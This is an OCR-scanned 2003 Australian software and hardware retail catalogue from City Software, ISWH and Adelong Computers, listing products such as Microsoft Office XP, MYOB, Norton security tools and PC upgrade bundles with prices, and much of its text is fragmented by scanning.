Keytek Fax Toner Economy for Panasonic UF545/UF770 - UG3313 
Keytek Fax Toner Economy for Panasonic UF744/UF788 - UG3309 
Keytek Fax Toner Economy for Panasonic UF745/UF755 - UG3204 
Keytek Fax Toner Economy FX1 for Canon L700/L760/L3000 - H116221 
Keytek Fax Toner Economy FX2 for Canon L500/L600/L5500 - H116321 
Keytek Fax Toner Economy FX3 for Canon L200/U50/L300 - H116381 
Keytek Fax Toner Economy FX4 for Canon L800/L900/L9000 - H116401 
Keytek Compatible Fax Film Panasonic KXFA136A Refills Box 2 
Keytek Compatible Fax Film Sharp F03CR Box 2 
Keytek Compatible Fax Film Sharp F015CR Each 


1500 300 003 ^ ^ 


$145.00 

$145.00 

$145.00 

$90.00 

$85.00 
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Microsoft 


MS Freelancer 


Australia's Software Specialist 



Microsoft works 
Suite 2003 

5 full version Microsoft softwi 
your home PC at i 

• Microsoft Word 


Microsoft Money 
Standard 
Microsoft Encarta 
Standard 


Microsoft Publisher 2002 Microsoft Frontpage 2002 


desktop publishing prograr 



Microsoft FrontPag 
2002 has the tools 
help your business, 
improved interfaces 
and enhanced' 

to get a professional¬ 
looking website. 
Upgrade $189 
Call for academic 



Microsoft MSDN universal 7 Microsoft Visio 2002 Std 

Quickly assemble diagrams using predefined 


Microsoft Visio 2002 Pro 


Provides priority access to essential resourt 
for developers, including timely delivery 
of everything you need to build XML Web 
services and applications. Get uninterrupte 
access to the latest Microsoft technologies 


people, projects, and processes. Create 
flowcharts, organisation charts, timelines, 
office layouts, and mi 


MS Money 2003 

Microsoft Money 2003 
Standard provides a quick 
and easy way to organise 
and manage your personal 
finances. Create a budget, 
reduce debt, balance your 
checkbook, pay bills and 

Personal finance mar 


Visio Professional 2002 provides d 
solutions that help business and ti 
professionals document and comr 
broad range of ideas, information 



$5379 

IWebsearch Code.MSS68sl 

$425 

IWebsearch Code.MSSSS?! 

$1049 
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Microsoft Office XP 

The most significant version of Office ever released, Microsoft Office XP Professional integrates productivity innovations throughout its programs to transform 
the traditional Office suite into a smarter overall work experience. 

By simplifying productivity, enabling collaboration for everyone, and extending Office beyond the desktop. Office XP streamlines how people work with 
information and one another, making it easier for everyone to create, share, and analyse important data. 



Office XP standard 

standard Office suite features Word, Excel, Outlook and PowerPoint 2002 applications 
Call for academic pricing. 



Microsoft 


Microsoft 

volume 

Licensing 

Microsoft's Open Licensing 
program offers benefits when 
purchasing or acquiring multiple 
copies of Microsoft software. 
OMlgned for organisations 

purchasing as few as five 
licenses on the initial order. 
Receive significant discounts 

product prices - minimum 20% 
For example: 

Office XP Pro - $915 (Minimum 
5 license purchases if you are a 
new MOLP customer). 

call our Managed 
Accounts team to 

SAVE! 

1300 761 761 


c 

2 
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c 

r 
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Microsoft 
OfRce V.X for Mac 

Office V.X supports all your 
favorite Mac OS X features and 
technologies, and is completely 


Purchase Office XP 
on your new PC & SAVE 
approx. 65% 

(see page 5 for detallsl 


Office XP Developer includes Microsoft Frontpage Web site creation and management tools, 
also includes developer-only versions of Microsoft SQL Server 2000 and Exchange 2000 Server. 
Call for academic pricing. 


$1049 $1515 


Microsoft Windows XP Home 


MS Pius! 


features that help you do more with your computer. 


Microsoft Windows XP Professional 


Digital Media Edition 

Share your photos and enjoy your music 
and home movies. Create vibrant photo 
stories with vour narration, music and photo 



for Mac, Office 98 Mac Edition, 
Office for MS Windows, 
AppleWorks 6, and FileMaker 
Pro 5.5. 


Call for academic pricing. 



Microsoft Rise 
of Nations 


From Brian Reynolds, designer 
of Civilization II and Alpha 
Centauri, comes Rise of 
Nations, combining the epic 
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Macromedia 


Australia's Software Specialist 




$8a9 



Macromedia DevNet 

DevNet Subscriptions gives you the latest 
development software, Macromedia 
servers, and productivity-enhancing 
resources, conveniently delivered online 
and on CD and all for a single annual 


$589 



Upgrade from 10 $219 



Macromedia ColdFusion MX 


ch Internet applications that integrate with databases, Xh 
iion MX empowers developers with a productive scripting 
bilities. Deploy on industry-standard operating systems an 
h the legendary ease of use of ColdFusion. 


Server Enterprise plus two year subscription $11,299 
Sereer Professional plus two year subscription $2999 



1300 658 600 
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Ventura 10 


professional publishing 
solution. It's the only tool you 
need for transforming 
long, complex documents 
Including XML files Into highly 
formatted and visually rich 
publications. 



$a99 

$ias9 


Corel 

Designer 10 

Delivering precision tools 
that improve efficiency, built 
specifically to streamline the 
production of technical design 
Create, manage, plot, share 
and reuse technical diagrams. 



Corel WordPerfect Office 11 

WordPerfect Office 11 includes: 

WordPerfect 11 - word processor Quattro Pro 11 - spreadsheet 
Corel Presentations 11 - slide show creator CorelCENTRAL Address Bot 

GREAT NEW FEATURES INCLUDE: 

• Enhanced Compatibility with MS Office (supporting older file versioi 

• XML Integration: New Publish to XML in WordPerfect, Quattro Pro i 
Quattro Pro, Enhanced XML Editor in WordPerfect 

• Enhanced Publish to PDF from WordPerfect and Presentations 

• New! WordPerfect Classic Mode: WP 5.1 Blue Screen and Keyboard 

• Newl Document Map 

• New! Collaborative Review 

• New! Outlook Address book integration 

• Enhanced CrossTab Reports 


aoss grade from any Microsoft product, no mat 
SmartOffice. Upgrade from any vereion of Word 



CorelDRAW 
Graphics Suite 11 

• CorelDRAW 11-Intuitive 
raohic desian for orint 
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Computer Aided Design (CAD) 

Australia's Software Specialist 


Symbols 2000 
Architectural 

A professional collection 
of more than 5,600 archi¬ 
tectural symbols that let 
you complete detailed 
plans and construction 
•natically 


AutoCAD LT 2004 

Efficient Secure, Affordable 2D CAD Software 

AutoCAD LT® 2004 Is the affordable 2D CAD software that helps 


AutoCAD 2004 

Faster Data Creation, Easier Data Sharing 



ogram that Autodesk offers, but Its 
•ice doesn't diminish its capabilities, 
ith plenty of productivity features that let 
ical designs and diagrams. 

QuickCAD lets 
you start drawing right away by offering a 
simple beginner interface, then as you grov 
.ies, you can changj 


Symbols 2000 
Engineering 

A collection of more 
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QuickCAD 


UPGRADE PRICING AVAILABLE ■ 



Student Versions $269 


Manufacturing Design solution 

• Autodesk Inventor 

• Autodesk Mechanical Desktop 

• AutoCAD Mechanical 

• AutoCAD (included as part of AutoCAD Mechanical) 

Building Design solution 

• Autodesk Architectural Desktop 

• Autodesk VIZ 

• AutoCAD (included as part of Autodesk Architectural Des 

Land and Civil Design solution 

• Autodesk Survey 

• Autodesk Civil 

• AutoCAD (included as part of Autodesk Land Desktop) 


1300 658 600 
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Databases 


HI Centennial 

8 Media Training 
for FileMaker 

CM 


he 6 X 2hr CDs in this 
et provide thorough anr 
omprehensive training 


3 

s 

Ul 

Z 

3 



Australia's Software Specialist 



Call our Managed Accounts team for 
more inftirmation on: 


1300 761 761 






$265 


FileMaker Pro 6 


FileMaker Pro 6 database software extends FileMaker's legendary easi 
efficient ways to import digital images. It provides a virtually limitless 
exchange and application integration. Complete with enhanced prod 
formatting tools, as well as a host of instant productivity templates, F 
is the best solution for quickly creating and sharing information. 

• More than 20 Npv, ready-to-use customisable templates and a Layout R 


bring your da 

• XML Import and Export enables data inter<hange with virtually anyone, whe 

• NEW Format Painter and other time-saving layout and word-processing tools 
professional- looking forms 

• Microsoft Office integration - automatically convert Microsoft Excel spreads 
modifiable database solutions so you can sort, search, report, track, link and 

• Instant Web Publishing allows easy collection and sharing of information 


Trellian 

SubmitWolf Pro 



FileMaker Developer 6 





1300 658 600 
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MYOB BusinessBasics 

No need to jump between programs (such as 
spreadsheets and word processors) to get your 
business done. Now with MYOB BusinessBasics, 


Accountlng/lnvestment 



MYOB Accounting Pius 13 



m MYOB Accounting v13 245 
Upgrade from MYOB Accounting f—-- -- 
Upgrade from P-“™ - - 


MYOB Premier 7 

MYOB Premier is for businesses that need to streami 
accounts procedures, whether through simplifying 
complex inventory issues, running an automated 
payroll, time billing, accessing advanced reporting o 
increasing productivity with multi-user access. 

MYOB Premier's combination of productivity enhan 
features will appeal to any business that has compk 
inventory requirements. Works with more than one 


StarOffice 6 

By Sun Microsystems 

StarOffice 6 interacts with 


desktop suites - 
Microsoft Office 


and access compiex 
documents and Web pages 
graphicai user 
ace (GUI)-Easy to 



MYOB FirstEdge - for Mac 


MYOB AccountEdge 3 



MYOB RetailManager standard 


MYOB RetailManager Enterprise 


MYOB RetailManager Enterprise strean 
multiple-store retail business managem 
giving you a global, ce 



• Process sales and purchases 

• Track your Inventory and your 

• Process your payroll 

• Track your billable time 

• Build better customer and supplier relatio 
Upgrade from MYOB FirstAccounts $29 
Upgrade from MYOB Accounting $295 
Upgrade from MYOB AccountingPius $: 
Upgrade From MYOB FirstEdge $415 


MYOB RetailManager 
and Sign iO 5 Bundle 




e your retail [ 

whilst gathering valuable da 
you In managing your retail business with 
MYOB RetailManager Standard. Captture 
data that improves your understanding 
of the way your business is tracking and 
gain Information that allows you to drive 
profits. More than just a cash register. 
Combined with the Sign IQ visual 
merchandising solution you have tl 

through professional point of sale 

MYOB Pocket Accounts 

MYOB PocketAcc 

and time billing program that helps 
with a mobile sales or consult! 
their efficiency and cash flow. 

MYOB PocketAccounts runs oi 
device and links seamlessly wf 
accounting software on the d 

the push of a button. 


a high-quality collection with 
the greatest available variety 
of images. Get that perfect 


$195 ■ *'•29 




www .csw.com.au 
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__ OuickBooks Pro 2003 


Accounting/Investment 


OJckBooksPro 









$1299 


$6a9 


$a69 




(MSI TurboCAD 
8 Standard 

Complete, integrated 2D/3D CAD 
software. Create, edit or view 
CAD drawings. Comprehensive 
2D power is seamlessly 
integrated with superior 3D 
surface modeling as over 250 
tools are grouped logically for 
quick and easy access. Supports 
industry standard CAD file 
formats and is totally Internet 
compatible. Professional version 


mssm 
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Instantly Create Documents by Voice 
While on the Move! 

Get work done even while you're away froi 
your computer. Dragon NaturallySpeaking 
Mobile is the go-anywhere dictation 
solution for people on the move. Talk into 

then later plug the recorder into your PC 


Work Faster and More Productively by Voicel 

Dragon NaturallySpeaking Preferred enables 

documents, spreadsheets, and e-mail - all by 
speaking! Dictate and edit in virtually any 
Windows-based program. You can also dictate 
into Scansoft-approved handheld recorders and 
Pocket PO. It's fast, accurate, and easy to use. 
Dragon NaturallySpeaking learns to recognise 


Dragon NaturallySpeaking Standard lets 
you talk to your computer and your words 
instantly appear in letters, emails, instant 
messages and chat rooms. You can even 
surf the Web by speaking! Dictate and edit 
in virtually any Windows based program. 
It's fast accurate, and easy to use. Dragon 
NaturallySpeaking learns to recognise your 
voice in just a few minutes, and comes witf 
free headset microphone. 


rallySpea 


rred softwar 


I documents by' 


Contact Manager/Voice Recognition 

Austrafia^s Software Specialist 




1300 658 600 


Acn 


ACT! for Palm OS 


Xerox PaperPort 
Deluxe 8 


Get your ACT! together —In the office or on-the-goi 

With the latest release of ACT! for Palm you can now instantly access your contact information 
while your on the go! ACT! for Palm OS is the first-ever, complete contact management system 
designed specifically for Palm OS handhelds. 


It'S ACT! on the Palm and comes complete with; 

• A powerful contact database that tracks notes, histories, activities and sales opportunities 

• An integrated calendar and task list 

• ACT! Express desktop software (included free with ACT! for Palm OS)* 


Xerox OmniPage 12 

Convert paper and PDF 
files into Digital Documents 
that you can Edit, Search 
and Distribute. Omini Page 

paper-to-digital conversion 
tool. Update your Lite 


ACT! version 6 

The #1 best-selling contact management solution — used by millions 
and praised by experts around the world. 

with ACT! 6 you and your staff can: 

• Get instant access to every detail of every relationship. 

• Schedule unlimited calls, meetings and to-do items. 

• Manage your sales pipeline with forecasting tools and built-in reports. 

• Share complete customer information in a workgroup environment. 

• For an extra $24 receive ACT for Palm OS (see below). 

• Integrates with handheld devices including Palm and Pocket PC* and popular accountino 
software such as QuickBooks* 


Xerox 

TextBridge Pro 

Easy and accurate, entry- 

more retyping. TextBridge 
Pro 11 easily turns printed 
pages into digital documents 
that can be used with your 
favourite Windows based 
application. 


Dragon 

NaturallySpeaking 
Standard 7 


Dragon 

NaturallySpeaking 
Preferred 7 


Dragon 

Naturally Speaking 
Mobile 6 
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ipswitch iMaii Server 

With IMaii Server, you get features you can really use 

browser while enjoying their favorite desktop e-mail 

• Web Calendaring - A Web-based calendar 
allows users to keep and store multiple 
schedules, appointments, task lists, and date 
reminder information. 

• Security - Support for SSL (Secure Sockets 
Layer) encryption in Web Messaging ' 

Calendaring protects passwords and ( 


ipswitch Instant Messenger 

secure Instant messaging for business 

Instant messaging has made its way into businesses throi 
the use of unsecured consumer clients using third party s 
Ipswitch Instant Messenger enables !M 



NT! CD-Maker 
Platinum 

NTI CD-Maker Platinum is 
your solution for burning CL 


easy steps. Safeguard, 
Organize and Share all of 
your files with one. easy- 
to-use CD and DVD burning 


administrators to host mail for 

for network growth without affecting 
productivity - especially useful for Managed 


ipswitch Whatsup Gold 

Network Management 

WhatsUp Gold enables administrators to keep mission-critical network 
services up and running. Larger organisations can use WhatsUp Gold 
at the departmental level to monitor the 
availability of applications, or to ' 
an existing monitoring system; s 
medium sized businesses can us< 
all-in-one network managemeni 
With Maintenance Agreen 



Somix Denika Performance Trender 



WebTrends Firewall Suite 

Firewall Suite provides in-depth analysis of incoming and outgoing 
activity through the corporate firewall, VPN or proxy server. It 
enables network and firewall administrators to move beyond 
reactive operations management to proactive network managetne 
eliminating issues and risks before they ar 
Firewall Suite delivers critical insight into 
firewall activity. It includes more than . - 

200 customisable reports covering Overall ^ 

Firewall Activity (including departmental ■‘“•H - 

bandwidth usage, e-mail activity, HTTP (web), j j ^ W 
FTP and Telnet); Outgoing Web Activity 
(reports on internal Internet usage, creating « 

categorised reports on the most active^ ^ i Mw 


ie web sites they've visited); and 
rg Web Activity (monitors outside 
I web sites beyond the firewall), 
laintenance Agreement $4370 



ipswitch WS_FTP PRO 
Secure ftp client 

WS FTP Pro is the market leader in Windows-based 
protocol) client software. It enables users to move f 


the user through uploading files and folders. 

• Auto Resume: Automatically resume 
interrupted or failed transfers In case 
of involuntary termination (eg: broken 
connections, application closure, computer 
shut down, or power outage). 

• Custom Firewall Support wi 


I transfer files through ur 
intenance Agreement $740 


SomIx Logalot security centre 

Logalot is a Web-based Syslog and Microsoft Wi 
Security Centre that allows users to centralise ev 
policies that trigger nc 
Use Logalot to monitor the streams of logs and evente genere 
and look for policy violations. If a match 
to a policy is made, notification can be 
sent via pager, beeper, and email. If a 
policy is violated, the policy anc 
log/event(s) are pc** -■ *- ■- 

acknowledged. 


WebTrends Log Analyxer Series 


interact with their customers 
many businesses still don't track or 
understand how well their web sites 
generate traffic or encour 

WebTrends Log Analyzer! 
powerful and easy-to-use' 



ACDSee 
imaging 5 

View, organise, touch-up, print 
and share your digital photos... 
fast! ACDSee picture viewer and 
graphic converter is the solution 
managing your ir 



digital photos super fast 
using ACDSee, fix and 
beautify them with ACD 
FotoCanvas and make 
multimedia slide shows you 
can share with anyone using 
ACD FotoAngelo. 


$3699 


www.csw.coiTi.au 




















































Office Applications/Programing Tools 

Australians Software Specialist 


8 W Roxio Toast 
with Jam 

Delivers the full CD and DVD 
burning power of Toast plus 
pro audio CD editing and 
mastering for Mac. Record your 
^ world to CD or DVD - your 

audio, video, photos and data. 
Produce commercial CDs and 
demos with impeccable quality. 
Import your favorite file 
Hnl formats like AIFF, WAVE, MP3 
or SoundDesigner II; Plus much 
more. Built for Mac OS X. 


Crystal Reports 9 

High-productivlty Report Creation and Integration 

Crystal Reports is a high productivity reporting technology for rapidly 
data into powerful, interactive content. Tightly integrate dynamic content 
applications for end user viewing, interaction and modification at runtime 
interact with key report objects via portals, wireless devices and Microsoft Office documents. 

Crystal Reports 9 Advanced Edition 

Designed for creating, integrating and deploying reports within complex enterprise web and wireless 
;.oni,--development overhead. The Advanced Edition is a high productivity 


reporting technology for tightly integrating reports into .N 
the features of the Developer Edition plus additional web f 
design and modification, and deployment. 


xibility for 



included witli Advanced is Crystal Enterprise Standard. 

A managed web reporting solution for fast and easy delivery of reports to end users vii 
Crystal Report can be instantly published to the Web for end users to a ' 

Crystal Reports 9 Developer Edition 

Designed for creating and integrating reports into basic thick-client and web applications the 
Developer Edition includes the report design and productivity tools of the Professional edition plus 
powerful application integration technology. 

Crystal Reports 9 Professional Edition 

Designed^for high productivity report creation and small-scale distribution, the Professional Edition 

j- . .. , port design technology plus an introductory license for web-based 




ring by sn 


Roxio Easy CD & 
DVD Creator 6 

Rip, play, edit organise and 
burn your digital music with 
new AudioCentral. Preserve 
in electronic 


Crystal Analysis 9 Professional 


Crystal Analysis Pr< 
This manag^ solutic 
of stakeholders in thi 


vorkflows of OLAP data tail 
rsto build and modify their 
s to easily gain insight into 




$2699 I $5099 I $a25 I $759 I $559 | $915 


Roxio CoBack 3 
Deluxe 


Borland C++Buiider 6 
Professional 

RAOical C++ for Windows 

Borland C'f-fBuilder 6 Professional provides a highly 
productive visual development environment for 
building Web and database applications for the 
Windows platform. 

C++Builder enables developers to easily Integrate Web 
Services from across the Internet into their applications 
using the power and flexibility of SOAP, XML and WSDL 
C++Builder also includes CLX, the Borland Component 
Library for Cross-platform development. CLX enables 
the creation of cross-platform-ready applications that 
can be re-complled and run on the Linux platform with 
ently planned releases of Borland C++ products 


Borland Kyiix 3 Professional 

Rapid application development for Linux 

Borland Kyiix 3 Professional delivers a high- 
performance C++ and Delphi language solution 
for rapidly creating database, GUI, and Web server 
applications for the Linux platform. Combine Kyiix 3 
with Borland C++Builder 6 or Delphi E to create single¬ 
source, cross-platform LinuxAWindows applications. 

With a comprehensive palette of reusable, customizable, 
and extendable pre-built CLX (Component Library for 
Cross-platform) components, rapidly build high- 
performance applications that incorporate local database 
information with high-speed database drivers for Red Hat 
Database, PostgreSQL, MySQL, and Borland InterBase. Build 
industry-standard Web Services clients using XML, XSL, 




1300 658 600 





































































JUNE/JULY 2CI05 
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Encyclopaedia 
Britannica 2003 

Deluxe Edition CD-ROM 



Meiways 
Edition 28 

Three great street directories 
on one CD! Fast access to 
the Melway, Sydney and 
NSW Central' ' ' 




Dantz Retrospect Professional 

Dantz Retrospect Professional delivers the proven capabilitie; 
enterprise-class products to the home and home office user.' 
thorough, fast backups and 100% accurate restores of netwc 
desktops and notebook computers. 

Designed for safety and security. Retrospect ^ 
protects against loss due to viruses, newly J 
installed software, user error, damaged 


I bAC^ 


Dantz Retrospect Single-Server 

Designed for use in small to midsize businesses. Retrospect Single 
Server provides thorough, fast backups and 100%-accurate restores of 
a file server, or a line-of-business application server, plus networked 
desktop and notebook computers. 

Retrospect protects against loss due to | 

viruses, newly installed software, user error, w 
damaged hardware, hardware upgrades, 
hackers, and lost or stolen computers for 

industry leader in data protection for 
more than 12 years, Dantz has received 
numerous awards and protects millions of 
computers worldwide. 



$i4a9 


Dantz Retrospect Multi Server 

Designed for use in small to midsize businesses. Retrospect Multi Server provides thorour 
fast backups and 100%-accurate restores of networked file servers, line-of-busIness appll 
servers, desktops, and notebook computers. Retrospect protects against loss due to virus, 
newly Installed software, user error, damaged hardware, hardware 

upgrades, hackers, and lost or stolen computers for the utmost In '' 

safety and security. The industry leader in data protection for more 1 
than 12 years, Dantz has received numerous awards and protects ^ 

millions of computers worldwide. 


Disaster Recovery Add-on 

Dantz Retrospect can create disaster recovery 
CDs for the backup server. While other 
vendors require that the Disaster Recovery CD 
be created when the computer is alive, Dantz 
an create a Disaster Recovery 



$2395 


$1195 


Open File Backup Add-on Proactive Client 
Backup Add-on 


Austraiia on 
Disc Nov 2002 Ed 

At the touch of a button, 
lists, labels and reports 
can all be generated or 
telemarketed direct from 
AOD, using the built in 
dialer (modem required). 

classification, suburb, state 
or any of the many fields 
available on the discs. 


Open File Backup allows files to be backed 
This is important to ensure proper backup of 
as Exchange Senrer and 
anagement I 


Exchange Server Agent 

Retrospect Exchange Agent provides 
incremental backups of Exchange 5.5 and 
Exchange 2000 servers while they are running. 
The Exchange Agent can be configurer' 


ations, and 
accounting packages. 
For desktop and 

files containing email 
messages or calendar 



backups exceeds the time 

especially important 

networked desktops and 
notebooks. Proactive 
Client Backup keeps 

allotted to do 

perform a full copy on a pa 
weekoreveryday. ^ 

it has backed up, so it 
can resume backups 
efficiently during the 
next scheduled backup 

mmp 



$1195 




Retrospect Top 10 Backup Ups... 

1. Develop a backup plan - determine how often, a drive to backup to 

2. Back up often - back up frequently. 

3. Automate your backups - schedule your backups when it's most con' 

4. Back up more than just documents - restore your entire hard drive ii 

5. Perform incremental backups - back up only new or changed files tc 

6. Make several copies - to increase the degree of data protection, mal 

7. Verify your backup - make sure you have full read-back verification. 

8. Take advantage of compression - save time and money by squeezing up to twice as many files onto your backup media. 

9. Use Retrospect software - the best backup software for any storage device - desktops, notebooks, workgroups and servers. 

10. Don't procrastinate - develop your backup plan now! 

Remember, the purpose of backup software is to restore. If you can’t net back what you've lost t 
money you’ve spent backing up was wasted! 




nt - at night, on weekends or when your computer is least ac 


ur original backup so you can restore your hard drive exactly. 
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Symantec Deluxe Tax Time Bundle 

Norton AntiVirus scans and cleans instant-message attachments as well as email 
messages It removes viruses automatically, without interrupting your work. And 
automatic updates help defend your PC against new viruses. Protect your PC today 


nning N< 


3n Antivirus. 


With Norton Personal Firewall, keep hackers out and personal data in. Indue 
intrusion detection, application control, and privacy protection. It hides your 
from hackers, blocks suspicious incoming connections, stops malicious progr 
from spying on your system, and prevents confidential information f 
being sent out. 

Super Tax Time Bundle available late May 2003. 


Norton internet 
Security 2005 


Security 2003 provides 

privacy threats. Inciuded 
are full versions of Norton 
Antivirus i 
Personai Firewc 
efficientiy defend your 




computer probiems. It includes award-vyinning 
Symantec products and additional utilities that help 
you protect your PC from virus threats, 
optimize performance, fix and prevent problems. 


• Program: Ideal for small 
to mid-size companies. Volume 
incentives for as few as one sewer _ 

or ten desktop licences. Rewards ^ 

the purchase of multiple licences in . 
a simple transactional plan. Simply ; 
purchase a media pack and the 
number of licences required from 
us and Symantec will send you the 
licence certificate. Take advantage 
of the huge savings! 

Call our Managed Accounts 
team to SAVE! 1300 761 761 

Norton CItost 
2005 

Symantec's Norton Ghost 2003 
protects your data from computer 
disasters. The intuitive Windov« 
interface makes it easy to create 
regular backups of your hard 
drive. You don't even need to 
make a boot disk. File restoration 
is simple from the comprehensh 


^Symantec. 

BONUS 6 months 
magazine 
subscription when 
you purchase 
either Norton 
internet Security 
2003 or Norton 
Systemworks 2003. 
Off^r available until 
June 30th 2003* 


m (choice of one 


192293 

192291 

192289 

193979 

192292 

192290 

192288 

193978 


SBS for MS Exchange 5 User 
Multi-Tier Protection 5 User 
SBS Ciient Security 5 User 
SBS 10 User 

SBS for MS Exchange 10 User 
Muiti-Tier Protection 10 User 
SBS Ciient Security 10 User 




magazine tMe only: The Australian 
Women’s Weekiy, Money Magazine, 

Australian PC User or Austraiian House and 
Gardens magazine) via mail in redemption 
through Symantec Offer vaiid between 
19th May to 30th June 2003. 

Symantec Antivirus wiultl-User Packs 

Symantec Small Business Solutions contain Syt 
award -winning, best-of-breed technology to deliver 
a complete, licensed solution, all in a single box. In 
addition to providing superior protection from Internet- 
based threats, these special license packs for small 
businesses include a Maintenance Agreement providing 
Upgrade Insurance and Technical Support for one year. 

The Maintenance Agreement is renewable, helping you 
maximise the return on your purchase. 


t www.csw.com.au 
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PowerQuesf 

Driveali 


!>we.)mag^ 


Drive Image is a Complete Solution for 
Disaster Recovery, Backups & System Upgrades 

Disaster can strike at anytime. Reduce your risk by protecting your data with PowerQuest’s Drive Image. 

You can quickly create hard drive images for backup to protect your data. Using a familiar Windows* interface 
you can create an exact copy of your entire hard drive or partition in minutes onto a Zip*, Jaz*, CD-R/W, network 
drive, or another partition. That way, when the inevitable virus or system crash occurs, you will have an exact 
image of your drive secured, ready to restore. 

New Drive Image features include: 

• New imaging technology allows you to create and restore 
drive images while running in Windows* 

• Easy-to-use, intuitive Windows interface 

• LAN support allows you to save hard drive images to, 
and restore from, a network drive 

• Save your image files directly to another section of your hard drive 
by automatically creating a dedicated backup partition 

New easy-to-use, intuitive 'Windows interface. 


Partitioning allows you to manage your hard drive more efficiently. Your computer views each partition 
as a separate hard drive, automatically giving it a drive letter, allowing you to conveniently organize your 
hard drive and maximize the performance of your system. Dividing your hard drive into separate partitions 
plays an essential role in maintaining your computer—preventing conflicts, protecting data, improving 
efficiency, and increasing performance. 


PartitionMagic 8.0 features include: 


\e wizards help you safely install 
'.n multiple OSes. 


• FREE PowerQuest DataKeeper”- effortless data protection software 

• New step-by-step wizards - Create Backup Partition and Install 
Another OS 

• File Browser - browse, copy, or move files and folders 
from one partition to another regardless of partition type 
(e.g. Windows* [FAT/32, NTFS] and Linux* [Ext2, Ext3]) 

• PQBooC for Windows - select which OS to run 
on your next reboot while running in Windows 
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PowerQuesf _ 

W) 


System Development and Protection 
Doesn't Hove to be Hard. 


c 

2 

m 

s 


Technology 

Are you concerned about the time, cost 
and complexity required to deploy and 
protect Windows workstations and servers? 
PowerQuest provides proven solutions that 
help IT professionals and service providers 
simplify and automate Windows OS 
deployment and server recovery. 



Small to midsize enterprise organisations use 
PowerQuest enterprise solutions to: 


PowerQuest 



Deploy Windows® workstations and servers by: 

. Automating Windows OS deployments and upgrades 
. Eliminating the need to physically visit each workstation 
• Preserving Windows optimisations 


PowerQuest 



Protect Windows 2000 servers by: 

. Creating a point-in-time backup of system 
and data files - without server interruption 

• Reducing system and data recovery times 
from hours to minutes 

. Enhancing existing backup and recovery methods 

• Improving response times on service level agreements 


Learn how you can simplify system deployment and recovery using PowerQuest 
enterprise solutions, by visiting unvw.powerquest.com/entsolutions. POWCi 













Ordering via the Internet 


Order from www.iswh.com.au or www.csw.com.au and hav 
your order dispatched same day!’ 

We are committed to providing quality services via the Internet, whether for researching information on a product 
Electronic commerce is an everyday occurrence at ISWH and City Software. 
pnihi'I integrate the "National Secure Internet Payment Service", an Internet payment gateway developed by the National that will 

Stt online ^ orS^ “ transactions over the Internet. The service offers multi-layered security and enables us to offer one of tl 

Please note the complete hardware, software and consumables range are available at both our sites: www.iswh.com.au and www.csw.com.au 


a convenient way to shop. 


ISWH wvvw.iswh.com.au 

Check about why more than a quarter of all orders are placed over our 
websites using the most secure order and payment methods. Search 
for products using Websearch codes, our keyword search function or 
via product categories. In the majority of cases, product images and 
detailed product 
information are 
displayed by clicking 
"INFO" on the search 
results page. Visit 
www.iswh.com.au 
to check out today's 
red-hot deals and 
clearance items. 



•Same day dispatch for products in stock 


City Software www.csw.com.au 



Visit www.csw.com.au and check out why twice as many customers 
ordered online in 2002: greater product range and information, actual 
live stock-on-hand, an improved search engine and many further 
enhancements make ordering easier than ever. Also, sign up online 
to our SmartBuy 


Club where you' 
receive a 3% rebate 
certificate on all 
future purchases. 

The certificates are 
redeemable on future 
orders. Special and 
clearance listings 
updated regularly. 




Join our SmartBuy Club now and 
discover the benefits of partnerinc 
with ISWH & City So'ftware! 

In addition to offering you Australia's best prices and the 
fastest, most reliable delivery to your door, we are pleased t< 
offer you even more value! 



Benefits of the SmartBuy Club Include: 

• Reward certificate valued at 3% of purchase. This certificate may be redeemed against your next order at ISWH and 

ity Software by either quoting the SmartBuy Club certificate number over the phone, quoting it on your next web 
order, or including it in your mail order. 

• Special product promotions offered only to members. 

• Updates of the latest quality news on the products you select to be informed on. Choose to be updated by email/web 
or mailer. 


For full details and to apply online, visit www.csw.com.au/smartbuy.asp or call us on 1300 658 600. 
Apply now for the full benefits we have to offer! 

Purchases through both ISWH and City software (including web orders) qualify for SmartBuy Club benefits. 
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Adelong Computers 


I 


www.adelong.coiii.au 


JUNE 2003 


Microsoft Wireless Blue Optical Mouse 


irn any PS/2 or USB 
isktop into a bright, vibrant 
race with the 6-foot range 
fireless Blue Optical Mouse, 
offers a fun design with a 
ider, one-of-a-kind, clear 
troll wheel and a signature 
optical glow. 



^80 lomross Wired Blue Optical $55 lor 


Adelong Special 


The Adelong Special featuring the Intel Celeron 
l.7Ghz Processor is an excellent blend of 


power and performance at an incredibly low 
price! Suitable for first time buyers or as a 
simple replacement PC. 


Upgrade to MS Win XP Home $125 
Upgrade to MS WINXP PRO $245 



Intel Celeron™ I.TGhz 
256MB ODR 
40GB Hard Drive 
.44MB Floppy Drive 
Integrated Video Accelerator 
52X CDROM 
17" Monitor 
ATX MidiTower Case 
Integrated Sound 
Keyboard, Scroll Mouse, Speakers 
REDhat Linux vB.O 


laximise your digital experience and have l-button ac 
lavigate music. 


he Internet, 
'ideos and 
rrograms you 
cess frequently 
any PS^ 
desktop PC. 


Upgrade Bundles 


Adelong Upgrade bundles represent great value for usi 
current PC hardware. Choose a bundle and tl 


s who need a cost effective way to get more performance out of their 
I processor of your choice to gain instant computing power! 



SOHO Value 

Processor - Motherboard - Casing 


AMD INTEL 

2iPCI33SDRAH 2xDDIl333 

I X AGP(4x), 3 X PCI, 4 X USB l.l lx AGP(4x), 3 x PCI, 6 x USB 2.0 

Integrated Video, Audio and LAN Integrated Video, Audio and IAN 


MS Internet Keyboard $45ioh 


AMD Athlon XP2000 $32S» 


$349„ 


• Most advanced optical system at 800dpi provides 
unparallel accuracy 

Quick Switch allows you to move between applications 
with I-touch 


AMD Athlon XP2200 
AMD Athlon XP2400 $395spa 

Intel Celeron l.7Ghz $30S>. 

Intel Celeron 2.0Ghz $349spa 

Intel P4-2.4Ghz 


$499pa 


High resolution scroll wheel 
USB & PS/2 adapter 


$59 loi 






Performance 

Gaming 

Processor - Motherboard 
Graphics -CDRW - Casing 


lxAGP(4x).SxPCI,6xUSB2.0 
Integrand Audio 
!8HB nVidia GF4114200 Graphics 
S2x24x52 CDRW 


AMD Athlon XP2200 
AMD Athlon XP2400 
AMD Athlon XP2600 
Intel P4-2.4Ghz 
Intel P4 2.67Ghz $1055 SfADE262 

Intel P4 3.06Ghz $1345 s» 


$795 SPADE2S7 
$835 SPADE2S8 

$895 SPA 
$899 SP. 


MSI K8D Master F Opteron Motherboard 


’ 2 metre range powered by 2xAA batteries (included) 

' Comfortable zero-degree tilt design 
’ Access favorite websites & applications with l-touch keys 
' Control audio and video ^ . 

from keyboard 

